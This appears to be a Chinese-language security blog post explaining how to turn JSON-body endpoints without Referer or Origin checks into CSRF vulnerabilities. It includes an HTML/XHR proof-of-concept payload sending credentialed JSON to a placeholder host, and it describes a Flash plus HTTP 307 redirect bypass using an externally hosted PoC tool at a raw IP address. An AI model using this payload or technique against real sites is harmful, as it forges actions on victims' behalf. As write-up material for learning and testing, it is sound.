depy

It is a long and beautiful life.

关于Json Csrf的漏洞思考

网络安全

前言

    相信POST或者是GET请求的CSRF漏洞大家都经常挖到过。但是数据一般都是经过 URL-encode 的请求字符串。所以这样对于上报json格式数据的时候,会出现错误。

    原因就是上报json格式的数据时,Content-type是application/json。而生成CSRF POC的请求type是application/x-www-form-urlencoded。那么在遇到无referer和orgin验证,请求数据为json格式的接口时,我们怎么样可以让它变成一个CSRF漏洞呢。

思考

    我做过一年半的PHP开发,对json数据非常不陌生。一般来说,对接口请求json是前端的要做的事。这其中会用到一些jquery的技术亦或者是一些ajax的技术。

    我们可以简单写一个对接口post json数据的html文件:

<html>
 <head>
 <script style="text/javascript">
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://www.attack.com", true);
        xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"login":"admin","password":"admin","mobile":"18888888888","intercode":"86","name":"","requestCode":"","responseCode":""}));
    }
   </script>
 </head>
  <body>
    
    <form action="#">
      <input type="button" value="Submit request" onClick="submitRequest()"/>
    </form>
  </body>
  
</html>

    但是可惜的是,这样会受到同源策略的影响,导致无法向接口提交数据。

6001401aac356.png

    通过查阅资料,当目标站点没有crossdomain.xml或安全的crossdomain.xml,不允许您控制的域。在这种情况下,如果CSRF保护仅依赖于内容类型(例如,检查其是否为特定类型),则您无法从目标站点获得响应。但仍可以使用任意Content-Type标头进行CSRF攻击。

    在这种情况下,需要使用307重定向来绕过crossdomain.xml。

    然后,我们就可以通过swf来绕过跨域提交CSRF。HTTP 307可以确保重定向请求发送之后,请求方法和请求主体不会发生任何改变。HTTP 307会将POST body和HTTP头重定向到我们所指定的最终URL,并完成攻击。

    于是动手实验:部署一个简单的POC利用文档,地址:

    http://81.68.199.163/swf_json_csrf-master/ui.html

    在第一行填使用到307跳转的文件代码,第二行写受到影响的接口地址。三四行不变(根据需要修改),第四行写要请求的json格式数据。于是点击提交,通过network我们可以观察到接口的一系列变化。60014232d5972.png

    然后就可以了,再返回我们的目标站点,发现新增了一行数据。

600142c97022e.png

    一般来说,开发人员对于JSON格式数据提交都不会做CSRF漏洞保护,导致一个后台一个地方接口有此BUG,其他地方都会有。并且很多人都会忽略json数据造成的CSRF漏洞,而错过很多应用场景。